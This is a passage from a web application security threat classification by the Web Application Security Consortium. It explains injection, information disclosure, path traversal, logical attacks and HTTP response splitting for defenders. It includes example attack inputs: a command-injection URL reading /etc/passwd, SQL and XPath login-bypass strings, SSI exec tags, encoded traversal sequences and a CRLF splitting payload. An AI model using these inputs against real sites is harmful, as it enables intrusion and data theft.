such a function call without being sanitized first, it may be possible for an attacker to run Operating System commands remotely. For example, here is a part of a PHP script, which presents the contents of a system directory (on Unix systems):

Execute a shell command:

```
exec("ls -la $dir",$lines,$rc);
```

By appending a semicolon (`;`) followed by an Operating System command, it is possible to force the web application into executing the second command:
`http://example/directory.php?dir=%3Bcat%20/etc/passwd`

The result will retrieve the contents of the `/etc/passwd` file.

References

"Perl CGI Problems", By RFP - Phrack Magazine, Issue 55
http://www.wiretrip.net/rfp/txt/phrack55.txt
(See "That pesky pipe" section)

"Marcus Xenakis directory.php Shell Command Execution Vulnerability"
http://www.securityfocus.com/bid/4278

"NCSA Secure Programming Guidelines"
http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#cgi

4.5 SQL Injection

SQL Injection is an attack technique used to exploit web sites that construct SQL statements from user-supplied input.

Structured Query Language (SQL) is a specialized programming language for sending queries to databases. Most small and industrial-strength database applications can be accessed using SQL statements. SQL is both an ANSI and an ISO standard. However, many database products supporting SQL do so with proprietary extensions to the standard language. Web applications may use user-supplied input to create custom SQL statements for dynamic web page requests.

When a web application fails to properly sanitize user-supplied input, it is possible for an attacker to alter the construction of backend SQL statements. When an attacker is able to modify a SQL statement, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). The impact of this attack can allow attackers to gain total control of the database or even execute commands on the system.

The same advanced exploitation techniques available in LDAP Injection can also be similarly applied to SQL Injection.

Example

A web based authentication form might have code that looks like the following:

```
SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & "'" strAuthCheck =
GetQueryResult(SQLQuery)
```

In this code, the developer is taking the user-input from the form and embedding it directly into an SQL query.

Suppose an attacker submits a login and password that looks like the following:

Login: `' OR ''='`
Password: `' OR ''='`

This will cause the resulting SQL query to become:

```
SELECT Username FROM Users WHERE Username = '' OR
''='' AND Password = '' OR ''=''
```

Instead of comparing the user-supplied data with entries in the Users table, the query compares `''` (empty string) to `''` (empty string). This will return a True result and the attacker will then be logged in as the first user in the `Users` table.

There are two commonly known methods of SQL injection: Normal SQL Injection and Blind SQL Injection. The first is vanilla SQL Injection in which the attacker can format his query to match the developer's by using the information contained in the error messages that are returned in the response.

Normal SQL Injection

By appending a `union select` statement to the parameter, the attacker can test to see if he can gain access to the database:

```
http://example/article.asp?ID=2+union+all+select+na
me+from+sysobjects
```

The SQL server then might return an error similar to this:

```
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.
```

This tells the attacker that he must now guess the correct number of columns for his SQL statement to work.

Blind SQL Injection

In Blind SQL Injection, instead of returning a database error, the server returns a customer-friendly error page informing the user that a mistake has been made. In this instance, SQL Injection is still possible, but not as easy to detect. A common way to detect Blind SQL Injection is to put a false and true statement into the parameter value.

Executing the following request to a web site:

`http://example/article.asp?ID=2+and+1=1`

should return the same web page as:

`http://example/article.asp?ID=2`

because the SQL statement '`and 1=1`' is always true.

Executing the following request to a web site:

`http://example/article.asp?ID=2+and+1=0`

would then cause the web site to return a friendly error or no page at all. This is because the SQL statement "`and 1=0`" is always false.

Once the attacker discovers that a site is susceptible to Blind SQL Injection, he can exploit this vulnerability more easily, in some cases, than by using normal SQL Injection.

References

"SQL Injection: Are your Web Applications Vulnerable" – SPI Dynamics
http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf

"Blind SQL Injection: Are your Web Applications Vulnerable" – SPI Dynamics
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf

"Advanced SQL Injection in SQL Server Applications", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/advanced_sql_injection.pdf

"More advanced SQL Injection", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

"Web Application Disassembly with ODBC Error Messages", David Litchfield - @stake
http://www.nextgenss.com/papers/webappdis.doc

"SQL Injection Walkthrough"
http://www.securiteam.com/securityreviews/5DP0N1P76E.html

"Blind SQL Injection" - Imperva

http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html

"SQL Injection Signatures Evasion" - Imperva
http://www.imperva.com/application_defense_center/white_papers/sql_injection_signatures_evasion.html

"Introduction to SQL Injection Attacks for Oracle Developers" - Integrigy
http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf

4.6 SSI Injection

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.

Before serving an HTML web page, a web server may parse and execute Server-side Include statements before providing it to the user. In some cases (e.g. message boards, guest books, or content management systems), a web application will insert user-supplied data into the source of a web page.

If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.

Example

The following SSI tag can allow an attacker to get the root directory listing on a UNIX based system.

```
<!--#exec cmd="/bin/ls /" -->
```

The following SSI tag can allow an attacker to obtain database connection strings, or other sensitive data contained within a .NET configuration file.

```
<!--#INCLUDE VIRTUAL="/web.config"-->
```

References

"Server Side Includes (SSI)" – NCSA HTTPd
http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html

"Security Tips for Server Configuration" – Apache HTTPD
http://httpd.apache.org/docs/misc/security_tips.html#ssi

"Header Based Exploitation: Web Statistical Software Threats" – CGISecurity.com
http://www.cgisecurity.net/papers/header-based-exploitation.txt

"A practical vulnerability analysis"
http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.htm

4.7 XPath Injection

XPath Injection is an attack technique used to exploit web sites that construct XPath queries from user-supplied input.

XPath 1.0 is a language used to refer to parts of an XML document. It can be used directly by an application to query an XML document, or

as part of a larger operation such as applying an XSLT transformation to an XML document, or applying an XQuery to an XML document.

The syntax of XPath bears some resemblance to an SQL query, and indeed, it is possible to form SQL-like queries on an XML document using XPath. For example, assume an XML document that contains elements by the name `user`, each of which contains three subelements - `name`, `password` and `account`. The following XPath expression yields the account number of the user whose name is "jsmith" and whose password is "Demo1234" (or an empty string if no such user exists):

```
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
```

If an application uses run-time XPath query construction, embedding unsafe user input into the query, it may be possible for the attacker to inject data into the query such that the newly formed query will be parsed in a way differing from the programmer's intention.

Example

Consider a web application that uses XPath to query an XML document and retrieve the account number of a user whose name and password are received from the client. Such application may embed these values directly in the XPath query, thereby creating a security hole.

Here's an example (assuming Microsoft ASP.NET and C#):

```
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
```

```
and password/text()='"+TextBox2.Text+
"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
     // name+password pair is not found in the XML document
-
     // login failed.

} else {
     // account found -> Login succeeded.
     // Proceed into the application.
}
```

When such code is used, an attacker can inject XPath expressions, e.g. provide the following value as a user name:

```
' or 1=1 or ''='
```

This causes the semantics of the original XPath to change, so that it always returns the first account number in the XML document. The query, in this case, will be:

```
string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())
```

Which is identical (since the predicate is evaluates to true on all nodes) to

```
string(//user/account/text())
```

Yielding the first instance of `//user/account/text()`.

The attack, therefore, results in having the attacker logged in (as the first user listed in the XML document), although the attacker did not provide any valid user name or password.

References

"XML Path Language (XPath) Version 1.0" - W3C Recommendation, 16 Nov 1999
http://www.w3.org/TR/xpath

"Encoding a Taxonomy of Web Attacks with Different-Length Vectors" - G. Alvarez and S. Petrovic
http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf

"Blind XPath Injection" - Amit Klein
http://www.sanctuminc.com/pdfc/WhitePaper_Blind_XPath_Injection_20040518.pdf

5 Information Disclosure

The Information Disclosure section covers attacks designed to acquire system specific information about a web site. System specific information includes the software distribution, version numbers, and patch levels. Or the information may contain the location of backup files and temporary files. In most cases, divulging this information is not required to fulfill the needs of the user. Most web sites will reveal a certain amount of data, but it's best to limit the amount of data whenever possible. The more information about the web site an attacker learns, the easier the system becomes to compromise.

5.1 Directory Indexing

Automatic directory listing/indexing is a web server function that lists all of the files within a requested directory if the normal base file (`index.html`/`home.html`/`default.htm`) is not present. When a user requests the main page of a web site, they normally type in a

URL such as: `http://www.example` - using the domain name and excluding a specific file. The web server processes this request and searches the document root directory for the default file name and sends this page to the client. If this page is not present, the web server will issue a directory listing and send the output to the client. Essentially, this is equivalent to issuing an "`ls`" (Unix) or "`dir`" (Windows) command within this directory and showing the results in HTML form. From an attack and countermeasure perspective, it is important to realize that unintended directory listings may be possible due to software vulnerabilities (discussed in the example section below) combined with a specific web request.

When a web server reveals a directory's contents, the listing could contain information not intended for public viewing. Often web administrators rely on "Security Through Obscurity" assuming that if there are no hyperlinks to these documents, they will not be found, or no one will look for them. The assumption is incorrect. Today's vulnerability scanners, such as Nikto, can dynamically add additional directories/files to include in their scan based upon data obtained in initial probes. By reviewing the `/robots.txt` file and/or viewing directory indexing contents, the vulnerability scanner can now interrogate the web server further with these new data. Although potentially harmless, Directory Indexing could allow an information leak that supplies an attacker with the information necessary to launch further attacks against the system.

Example

The following information could be obtained based on directory indexing data:

- Backup files - with extensions such as `.bak`, `.old` or `.orig`
- Temporary files - these are files that are normally purged from the server but for some reason are still available
- Hidden files - with filenames that start with a "`.`" period.

- Naming conventions - an attacker may be able to identify the composition scheme used by the web site to name directories or files. Example: Admin vs. admin, backup vs. back-up, etc...
- Enumerate User Accounts - personal user accounts on a web server often have home directories named after their user account.
- Configuration file contents - these files may contain access control data and have extentions such as `.conf`, `.cfg` or `.config`
- Script Contents – Most web servers allow for executing scripts by either specifying a script location (e.g. `/cgi-bin`) or by configuring the server to try and execute files based on file permissions (e.g. the execute bit on *nix systems and the use of the Apache XBitHack directive). Due to these options, if directory indexing of `cgi-bin` contents are allowed, it is possible to download/review the script code if the permissions are incorrect.

There are three different scenarios where an attacker may be able to retrieve an unintended directory listing/index:

1) The web server is mistakenly configured to allow/provide a directory index. Confusion may arise of the net effect when a web administrator is configuring the indexing directives in the configuration file. It is possible to have an undesired result when implementing complex settings, such as wanting to allow directory indexing for a specific sub-directory, while disallowing it on the rest of the server. From the attacker's perspective, the HTTP request is identical to the previous one above. They request a directory and see if they receive the desired content. They are not concerned with or care "why" the web server was configured in this manner.

2) Some components of the web server allow a directory index even if it is disabled within the configuration file or if an index page is present. This is the only valid "exploit" example

scenario for directory indexing. There have been numerous vulnerabilities identified on many web servers, which will result in directory indexing if specific HTTP requests are sent.

3) Google' cache database may contain historical data that would include directory indexes from past scans of a specific web site.

References

Directory Indexing Vulnerability Alerts
http://www.securityfocus.com/bid/1063
http://www.securityfocus.com/bid/6721
http://www.securityfocus.com/bid/8898

Nessus "Remote File Access" Plugin Web page
http://cgi.nessus.org/plugins/dump.php3?family=Remote%20file%20access

Web Site Indexer Tools
http://www.download-freeware-shareware.com/Internet.php?Theme=112

Intrustion Prevention for Web
http://www.modsecurity.org

Search Engines as a Security Threat
http://it.korea.ac.kr/class/2002/software/Reading%20List/Search%20Engines%20as%20a%20Security%20Threat.pdf

The Google Hacker's Guide
http://johnny.ihackstuff.com/security/premium/The_Google_Hackers_Guide_v1.0.pdf

5.2 Information Leakage

Information Leakage is when a web site reveals sensitive data, such as developer comments or error messages, which may aid an attacker in exploiting the system. Sensitive information may be present within HTML comments, error messages, source code, or simply left in plain sight. There are many ways a web site can be coaxed into revealing this type of information. While leakage does not necessarily represent a breach in security, it does give an attacker useful guidance for future exploitation. Leakage of sensitive information may carry various levels of risk and should be limited whenever possible.

In the first case of information leakage (comments left in the code, verbose error messages, etc.), the leak may give intelligence to the attacker with contextual information of directory structure, SQL query structure, and the names of key processes used by the web site. Often a developer will leave comments in the HTML and script code to help facilitate in debugging or integration. This information can range from simple comments detailing how the script works, to, in the worst cases, usernames and passwords used during the testing phase of development.

Information Leakage also applies to data deemed confidential, which aren't properly protected by the web site. These data may include account numbers, user identifiers (Drivers license number, Passport number, Social Security Numbers, etc.) and user specific data (account balances, address, and transaction history). Insufficient Authentication, Insufficient Authorization, and secure transport encryption also deal with protecting and enforcing proper controls over access to data. Many attacks fall outside the scope of web site protection such as client attacks, the “casual observer” concerns. Information Leakage in this context deals with exposure of key user data deemed confidential or secret that should not be exposed in plain view even to the user. Credit card numbers are a prime example of user data that needs to be further protected from

exposure or leakage even with the proper encryption and access controls in place.

Example

There are three main categories of Information Leakage: Comments left in code, verbose error messages and confidential data in plain sight.

Comments left in code:

```
<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
        <TBODY>
           <TR>
                <!--If the image files are missing,
restart VADER -->
                <TD bgColor="#ffffff" colSpan="5"
height="17" width="587"> </TD>
            </TR>
```

Here we see a comment left by the development/QA personnel indicating what one should do if the image files do not show up. The security breach is the Host name of the server that is mentioned explicitly in the code, "VADER"..

An example of a verbose error message can be the response to an invalid query. A prominent example is the error message associated with SQL queries. SQL Injection attacks typically require the attacker to have prior knowledge of the structure or format used to create SQL queries on the site. The information leaked by a verbose error message can provide the attacker the crucial information on how to construct valid SQL queries for the backend database.

The following was returned when placing an apostrophe into the username filed of a login page:

Verbose error message:

```
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException:
Syntax error
(missing operator) in query expression
'username = '''
and password = 'g''. at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextErrorHandling (
Int32 hr) at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextForSingleResult (
tagDBPARAMS dbParams,  Object&
executeResult) at
```

In the first error statement a syntax error is reported. The error message reveals the query parameters that are used in the SQL query: `username` and `password`. This leaked information is the missing link for an attacker to begin to construct SQL Injection attacks against the site.

References

"Best practices with custom error pages in .Net", Microsoft Support
http://support.microsoft.com/default.aspx?scid=kb;en-us;834452

"Creating Custom ASP Error Pages", Microsoft Support
http://support.microsoft.com/default.aspx?scid=kb;en-us;224070

"Apache Custom Error Pages", Code Style
http://www.codestyle.org/sitemanager/apache/errors-Custom.shtml

“Customizing the Look of Error Messages in JSP”, DrewFalkman.com
http://www.drewfalkman.com/resources/CustomErrorPages.cfm

ColdFusion Custom Error Pages
http://livedocs.macromedia.com/coldfusion/6/Developing_ColdFusion_MX_Applications_with_CFML/Errors6.htm

Obfuscators :
JAVA
http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/hongying.pdf

5.3 Path Traversal

The Path Traversal attack technique forces access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.

Most web sites restrict user access to a specific portion of the file-system, typically called the “*web document root”* or “*CGI root”* directory. These directories contain the files intended for user access and the executables necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences.

The most basic Path Traversal attack uses the “`../`” special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the “`../`” sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding (“`..%u2216`” or

“..%c0%af”) of the forward slash character, backslash characters (“..\”) on Windows-based servers, URL encoded characters (“%2e%2e%2f”), and double URL encoding (“..%255c”) of the backslash character.

Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (“.”) to reveal the listing of the current working directory, or “%00” NUL characters in order to bypass rudimentary file extension checks.

Example

Path Traversal attacks against a web server
Attack: `http://example/../../../../../some/file`
Attack: `http://example/..%255c..%255c..%255csome/file`
Attack: `http://example/..%u2216..%u2216some/file`

Path Traversal attacks against a web application
Original: `http://example/foo.cgi?home=index.htm`
Attack: `http://example/foo.cgi?home=foo.cgi`

In the above example, the web application reveals the source code of the `foo.cgi` file because the value of the `home` variable was used as content. Notice that in this case the attacker does not need to submit any invalid characters or any path traversal characters for the

attack to succeed. The attacker has targeted another file in the same directory as `index.htm`.

Path Traversal attacks against a web application using special-character sequences:
Original: `http://example/scripts/foo.cgi?page=menu.txt`
Attack:
`http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt`

In above example, the web application reveals the source code of the `foo.cgi` file by using special-characters sequences. The "`../`" sequence was used to traverse one directory above the current and enter the `/scripts` directory. The "`%00`" sequence was used both to bypass file extension check and snip off the extension when the file was read in.

Reference

"CERT® Advisory CA-2001-12 Superfluous Decoding Vulnerability in IIS"
http://www.cert.org/advisories/CA-2001-12.html

"Novell Groupwise Arbitrary File Retrieval Vulnerability"
http://www.securityfocus.com/bid/3436/info/

5.4 Predictable Resource Location

Predictable Resource Location is an attack technique used to uncover hidden web site content and functionality. By making educated guesses, the attack is a brute force search looking for content that is not intended for public viewing. Temporary files, backup files, configuration files, and sample files are all examples of potentially leftover files. These brute force searches are easy because hidden files will often have common naming convention and

reside in standard locations. These files may disclose sensitive information about web application internals, database information, passwords, machine names, file paths to other sensitive areas, or possibly contain vulnerabilities. Disclosure of this information is valuable to an attacker.

Predictable Resource Location is also known as Forced Browsing, File Enumeration, Directory Enumeration, etc.

Example

Any attacker can make arbitrary file or directory requests to any publicly available web server. The existence of a resource can be determined by analyzing the web server HTTP response codes. There are several of Predictable Resource Location attack variations:

Blind searches for common files and directories

```
/admin/
/backup/
/logs/
/vulnerable_file.cgi
```

Adding extensions to existing filename: (/test.asp)

```
/test.asp.bak
/test.bak
/test
```

6 Logical Attacks

The Logical Attacks section focuses on the abuse or exploitation of a web application's logic flow. Application logic is the expected procedural flow used in order to perform a certain action. Password recovery, account registration, auction bidding, and eCommerce purchases are all examples of application logic. A web site may require a user to correctly perform a specific multi-step process to

complete a particular action. An attacker may be able to circumvent or misuse these features to harm a web site and its users.

6.1 Abuse of Functionality

Abuse of Functionality is an attack technique that uses a web site's own features and functionality to consume, defraud, or circumvents access controls mechanisms. Some functionality of a web site, possibly even security features, may be abused to cause unexpected behavior. When a piece of functionality is open to abuse, an attacker could potentially annoy other users or perhaps defraud the system entirely. The potential and level of abuse will vary from web site to web site and application to application.

Abuse of Functionality techniques are often intertwined with other categories of web application attacks, such as performing an encoding attack to introduce a query string that turns a web search function into a remote web proxy. Abuse of Functionality attacks are also commonly used as a force multiplier. For example, an attacker can inject a Cross-site Scripting snippet into a web-chat session and then use the built-in broadcast function to propagate the malicious code throughout the site.

In a broad view, all effective attacks against computer-based systems entail Abuse of Functionality issues. Specifically, this definition describes an attack that has subverted a useful web application for a malicious purpose with little or no modification to the original function.

Example

Examples of Abuse of Functionality include: a) Using a web site's search function to access restricted files outside of a web directory, b) Subverting a file upload subsystem to replace critical internal configuration files, and c) Performing a DoS by flooding a web-login system with good usernames and bad passwords to lock out

legitimate users when the allowed login retry-limit is exceeded. Other real-world examples are described below.

Matt Wright FormMail

The PERL-based web application "FormMail" was normally used to transmit user-supplied form data to a preprogrammed e-mail address. The script offered an easy to use solution for web site's to gather feedback. For this reason, the FormMail script was one of the most popular CGI programs on-line. Unfortunately, this same high degree of utility and ease of use was abused by remote attackers to send e-mail to any remote recipient. In short, this web application was transformed into a spam-relay engine with a single browser web request.

An attacker merely has to craft an URL that supplied the desired e-mail parameters and perform an HTTP GET to the CGI, such as:
`http://example/cgi-bin/FormMail.pl? recipient=`
email@victim.example`&message= you%20got%20spam`

An email would be dutifully generated, with the web server acting as the sender, allowing the attacker to be fully proxied by the web-application. Since no security mechanisms existed for this version of the script, the only viable defensive measure was to rewrite the script with a hard-coded e-mail address. Barring that, site operates were forced to remove or replace the web application entirely.

Macromedia's Cold Fusion

Sometimes basic administrative tools are embedded within web applications that can be easily used for unintended purposes. For example, Macromedia's Cold Fusion by default has a built-in module for viewing source code that is universally accessible. Abuse of this module can result in critical web application information leakage. Often these types of modules are not sample files or extraneous functions, but critical system components. This makes disabling

these functions problematic since they are tied to existing web application systems.

Smartwin CyberOffice Shopping Cart Price Modification
Abuse of functionality is performed when an attacker alters data in an unanticipated way in order to modify the behavior of the web application. For example, the CyberOffice shopping cart can be abused by changing the hidden price field within the web form. The web page is downloaded normally, edited and then resubmitted with the prices set to any desired value.

References

"FormMail Real Name/Email Address CGI Variable Spamming Vulnerability"
http://www.securityfocus.com/bid/3955

"CVE-1999-0800"
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800

"CA Unicenter pdmcgi.exe View Arbitrary File"
http://www.osvdb.org/displayvuln.php?osvdb_id=3247

"PeopleSoft PeopleBooks Search CGI Flaw"
http://www.osvdb.org/displayvuln.php?osvdb_id=2815

"iisCART2000 Upload Vulnerability"
http://secunia.com/advisories/8927/

"PROTEGO Security Advisory #PSA200401"
http://www.protego.dk/advisories/200401.html

"Price modification possible in CyberOffice Shopping Cart"
http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html

6.2 Denial of Service

Denial of Service (DoS) is an attack technique with the intent of preventing a web site from serving normal user activity. DoS attacks, which are easily normally applied to the network layer, are also possible at the application layer. These malicious attacks can succeed by starving a system of critical resources, vulnerability exploit, or abuse of functionality.

Many times DoS attacks will attempt to consume all of a web site's available system resources such as: CPU, memory, disk space etc. When any one of these critical resources reach full utilization, the web site will normally be inaccessible.

As today's web application environments include a web server, database server and an authentication server, DoS at the application layer may target each of these independent components. Unlike DoS at the network layer, where a large number of connection attempts are required, DoS at the application layer is a much simpler task to perform.

Example

Assume a Health-Care web site that generates a report with medical history. For each report request, the web site queries the database to fetch all records matching a single social security number. Given that hundred of thousands of records are stored in the database (for all users), the user will need to wait three minutes to get their medical history report. During the three minutes of time, the database server's CPU reaches 60% utilization while searching for matching records.

A common application layer DoS attack will send 10 simultaneous requests asking to generate a medical history report. These requests will most likely put the web site under a DoS-condition as the

database server's CPU will reach 100% utilization. At this point the system will likely be inaccessible to normal user activity.

DoS targeting a specific user
An intruder will repeatedly attempt to login to a web site as some user, purposely doing so withan invalid password. This process will eventually lock out the user.

DoS targeting the Database server
An intruder will use SQL injection techniques to modify the database so that the system becomes unusable (e.g., deleting all data, deleting all usernames etc.)

DoS targeting the Web server
An intruder will use Buffer Overflow techniques to send a specially crafted request that will crashes the web server process and the system will normally be inaccessible to normal user activity.

6.3 Insufficient Anti-automation

Insufficient Anti-automation is when a web site permits an attacker to automate a process that should only be performed manually. Certain web site functionalities should be protected against automated attacks.

Left unchecked, automated robots (programs) or attackers could repeatedly exercise web site functionality attempting to exploit or defraud the system. An automated robot could potentially execute thousands of requests a minute, causing potential loss of performance or service.

For example, an automated robot should not be able to sign up ten thousand new accounts in a few minutes. Similarly, automated robots should not be able to annoy other users with repeated message board postings. These operations should be limited only to human usage.

References

Telling Humans Apart (Automatically)
http://www.captcha.net/

"Ravaged by Robots!", By Randal L. Schwartz
http://www.webtechniques.com/archives/2001/12/perl/

".Net Components Make Visual Verification Easier", By JingDong (Jordan) Zhang
http://go.cadwire.net/?3870,3,1

"Vorras Antibot"
http://www.vorras.com/products/antibot/

"Inaccessibility of Visually-Oriented Anti-Robot Tests"
http://www.w3.org/TR/2003/WD-turingtest-20031105/

6.4 Insufficient Process Validation

Insufficient Process Validation is when a web site permits an attacker to bypass or circumvent the intended flow control of an application. If the user state through a process is not verified and enforced, the web site could be vulnerable to exploitation or fraud.

When a user performs a certain web site function, the application may expect the user to navigate through a specific order sequence. If the user performs certain steps incorrectly or out of order, a data integrity error occurs. Examples of multi-step processes include wire transfer, password recovery, purchase checkout, account signup, etc. These processes will likely require certain steps to be performed as expected.

For multi-step processes to function properly, web sites are required to maintain user state as the user traverses the process flow. Web

sites will normally track a users state through the use of cookies or hidden HTML form fields. However, when tracking is stored on the client side within the web browser, the integrity of the data must be verified. If not, an attacker may be able to circumvent the expected traffic flow by altering the current state.

Example

An online shopping cart system may offer to the user a discount if product A is purchased. The user may not want to purchase product A, but product B. By filling the shopping cart with product A and product B, and entering the checkout process, the user obtains the discount. The user then backs out of the checkout process, and removes product A, or simply alters the values before submitting to the next step. The user then reenters the checkout process, keeping the discount already given in the previous checkout process with product A in the shopping cart, and obtains a fraudulent purchase price.

References

"Dos and Don'ts of Client Authentication on the Web", Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

Contact

Web Application Security Consortium
http://www.webappsec.org

For general inquiries, email contact@webappsec.org

Appendix

There are several web application security attack techniques that we are unable to classify at this time. Within the appendix, there is summarized documentation that describes some of these methodologies. These issues will be handled systematically in version 2 of the Threat Classification.

1.1 HTTP Response Splitting

In the HTTP Response Splitting attack, there are always 3 parties (at least) involved:

- *Web server*, which has a security hole enabling HTTP Response Splitting
- *Target* - an entity that interacts with the web server perhaps on behalf of the attacker. Typically this is a cache server (forward/reverse proxy), or a browser (possibly with a browser cache).
- *Attacker* – initiates the attack

The essence of HTTP Response Splitting is the attacker's ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. The first response may be partially controlled by the attacker, but this is less important. What is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. Once this is possible, the attacker realizes the attack by sending two requests through the target. The first one invokes two responses from the web server, and the second request would typically be to some "innocent" resource on the web server. However, the second request would be matched, by the target, to the second HTTP response, which is fully controlled by the

attacker. The attacker, therefore, tricks the target into believing that a particular resource on the web server (designated by the second request) is the server's HTTP response (server content), while it is in fact some data, which is forged by the attacker through the web server – this is the second response.

HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. This typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds user data in a cookie value or name when the response sets a cookie.

In the first case, the redirection URL is part of the Location HTTP response header, and in the second cookie setting case, the cookie name/value is part of the Set-Cookie HTTP response header.

The essence of the attack is injecting CRs and LFs in such manner that a second HTTP message is formed where a single one was planned for by the application. CRLF injection is a method used for several other attacks which change the data of the single HTTP response send by the application (e.g. [2]), but in this case, the role of the CRLFs is slightly different – it is meant to terminate the first (planned) HTTP response message, and form another (totally crafted by the attacked, and totally unplanned by the application) HTTP response message (hence the name of the attack).
This injection is possible if the application (that runs on top of the web server) embeds un-validated user data in a redirection, cookie setting, or any other manner that eventually causes user data to become part of the HTTP response headers.

With HTTP Response Splitting, it is possible to mount various kinds of attacks:

- *Cross-site Scripting (XSS)*: Until now, it has been impossible to mount XSS attacks on sites through a redirection script when

the clients use IE unless all the location headers can be controlled. This attack makes it possible.

- *Web Cache Poisoning (defacement)*: This is a new attack. The attacker simply forces the target (i.e. a cache server of some sort – the attack was verified on Squid 2.4, NetCache 5.2, Apache Proxy 2.0 and few other cache servers) to cache the second response in response to the second request. An example is to send a second request to "http://web.site/index.html", and force the target (cache server) to cache the second response that is fully controlled by the attacker. This is effectively a defacement of the web site, at least as experienced by other clients, who use the same cache server. Of course, in addition to defacement, an attacker can steal session cookies, or "fix" them to a predetermined value.
- *Cross User attacks (single user, single page, temporary defacement:* As a variant of the attack, it is possible for the attacker not to send the second request. This seems odd at first, but the idea is that in some cases, the target may share the same TCP connection with the server, among several users (this is the case with some cache servers). The next user to send a request to the web server through the target will be served by the target with the second response the attacker generated. The net result is having a client of the web site being served with a resource that was crafted by the attacker. This enables the attacker to "deface" the site for a single page requested by a single user (a local, temporary defacement). Much like the previous item, in addition to defacement, the attacker can steal session cookies and/or set them.
- *Hijacking pages with user-specific information*: With this attack, it is possible for the attacker to receive the server response to a user request instead of the user. Therefore, the attacker gains access to user specific information that may be sensitive and confidential.
- *Browser cache poisoning*: This is a special case of "Web Cache Poisoning" (verified on IE 6.0). It is somewhat similar to XSS in the sense that in both the attacker needs to target individual

clients. However, unlike XSS, it has a long lasting effect because the spoofed resource remains in the browser's cache.

Example

Consider the following JSP page (let's assume it is located in /redir_lang.jsp):

```
<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>
```

When invoking /redir_lang.jsp with a parameter lang=English, it will redirect to /by_lang.jsp?lang=English. A typical response is as follows (the web server is BEA WebLogic 8.1 SP1 – see section "Lab Environment" in [1] for exact details for this server):

```
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj
ApqwBE!-1251019693; path=/
Connection: Close


<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It's now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English">http://10.1.1.1/by_lang.jsp
?lang=English</a>.</p>
</body></html>
```

As can be seen, the lang parameter is embedded in the Location response header.
Now, we move on to mounting an HTTP Response Splitting attack. Instead of sending the value English, we send a value, which makes use of URL-encoded CRLF sequences to terminate the current response, and shape an additional one. Here is how this is done:

```
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
```

This results in the following output stream, sent by the web server over the TCP connection:

```
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
